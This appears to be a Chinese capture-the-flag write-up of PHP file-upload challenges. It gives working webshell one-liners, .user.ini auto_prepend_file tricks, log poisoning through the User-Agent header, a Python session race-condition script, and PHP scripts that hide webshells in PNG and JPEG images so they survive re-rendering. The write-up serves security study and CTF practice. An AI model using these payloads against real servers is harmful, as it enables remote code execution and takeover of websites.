前端验证,抓包修改数据OK
直接抓包修改后缀
.user.ini
对
自 PHP 5.3.0 起,PHP 支持基于每个目录的 INI 文件配置。此类文件 仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。
如果你目录下有user.ini会先去识别里面的配置。当然文档也说了,并不是所有的配置都可以识别。只有 PHP_INI_PERDIR
和 PHP_INI_USER
模式可以。
具体内容看这里
发现auto_append_file和auto_prepend_file
一个相当于在每个php文件尾加上 include(“xxxx”),一个相当于文件头加上 include(“xxx”)
使用条件:
(1)服务器脚本语言为PHP 服务器使用CGI/FastCGI模式
(2)上传目录下要有可执行的php文件
payload
- 上传一张图片马
- 上传 .user.ini 内容为auto_prepend_file=‘图片马名字’
- 访问.user.ini 同级目录中的一个php文件
图片码
cmd跑命令
copy 1.png/b+ 1.txt 2.png
开始实操
图片马写入
<?php @eval($_POST[1]) ?>
然后上传
然后上传一张正常图片 burp抓包 改设置
auto_prepend_file=2.png
传参1=phpinfo();
开始操作就可以了
1=system('ls');
去上一级目录查找
1=system('ls ../');
1=system('cat ../flag.php');
经过测试
他过滤了php
字符串
这里使用了短标签
对于php的标签其他写法,我们这里多说几种
1、
<? echo '123';?>
前提是开启配置参数short_open_tags=on
2、
<?=(表达式)?> 等价于 <?php echo (表达式)?>
不需要开启参数设置
3、
<% echo '123';%>
前提是开启配置参数asp_tags=on
,经过测试发现7.0及以上修改完之后也不能使用,而是报500错误,但是7.0以下版本在修改完配置后就可以使用了。
4、
<script language=”php”>echo '123'; </script>
不需要修改参数开关,但是只能在7.0以下可用。
对于该题,我们可用使用=(表达式)?>
进行绕过
图片内容 =eval($_POST[1]);?>
payload
用{
}代替[]
=eval($_POST{
'a'});
{}
;
php 最后的语句也可以不加分号的,前提是得有 ?> 结束标志
payload
<?=system('ls ../')?>
<?=system('cat ../*')?>
访问upload/index.php
payload
反引号代替system()
=`cat ../*`?>
想去包含日志文件
发现log
也被过滤了,尝试拼接
先上传图片内容
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
然后上传正常图片 改后缀.user.ini
改内容
auto_prepend_file=5.png
上传成功
User-Agent: <?php system('tac ../f*');?>
然后访问/upload
右键源代码就可以了
正常图片上传失败 猜测检测了文件头
上传GIF89a
成功绕过
其余和160关是相同的
看看大佬的博客
还是一样先上传.user.ini
同样检测文件头
然后上传图片 内容就是
GIF89a
<?=include"/tmp/sess_yu22x"?>
然后条件竞争 跑脚本 附上大佬的脚本 通杀
import requests
import threading
session=requests.session()
sess='yu22x'
url1="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/"
url2="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/upload"
data1={
'PHP_SESSION_UPLOAD_PROGRESS':''
}
file={
'file':'yu22x'
}
cookies={
'PHPSESSID': sess
}
def write():
while True:
r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
while True:
r = session.get(url2)
if 'flag' in r.text:
print(r.text)
threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()
这道题 要制作 ,,制作绕过二次渲染的图片马
具体可以看这里
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./2.png'); //要修改的图片的路径
/* 木马内容
$_GET[0]($_POST[1]);?>
*/
?>
然后上传png二次渲染的图片
然后查看图片 post抓包 传马
/* The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled(). It is necessary that the size and quality of the initial image are the same as those of the processed image. 1) Upload an arbitrary image via secured files upload script 2) Save the processed image and launch: jpg_payload.php In case of successful injection you will get a specially crafted image, which should be uploaded again. Since the most straightforward injection method is used, the following problems can occur: 1) After the second processing the injected data may become partially corrupted. 2) The jpg_payload.php script outputs "Something's wrong". If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image. Sergey Bobrov @Black2Fan. See also: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/ */
$miniPayload = "=eval(\$_POST[1]);?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php ' );
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
格式为:
php <脚本名> <图片名>
尝试上传zip类型的一句话马
抓到上传成功的url
抓包–> 传参
返回上一级目录 -->ok
.htaccess
开局喜提小提示
查看源码 发现只允许上传jpg
结合提示 应该就是让用.htaccess
进行绕过了
上传带马的1.jpg
文件 即可
查看源码
那就拿zip
后缀进行上传尝试
上传 抓包 修改MIME
类型
Content-Type: image/png
然后 UA头插入一句话木马
然后上传.user.ini
包含日志
auto_prepend_file=/var/log/nginx/access.log
然后上传php文件 内容随意啦
然后靠UA头的一句话木马 连接蚁剑
抓包修改,后缀为php
, MIME类型为image/png
.
包含.user.ini
auto_prepend_file=/var/log/nginx/access.log
然后上传php
文件 内容随意
然后修改UA头为一句话 拿蚁剑连接即可
在上一级目录里找到 flag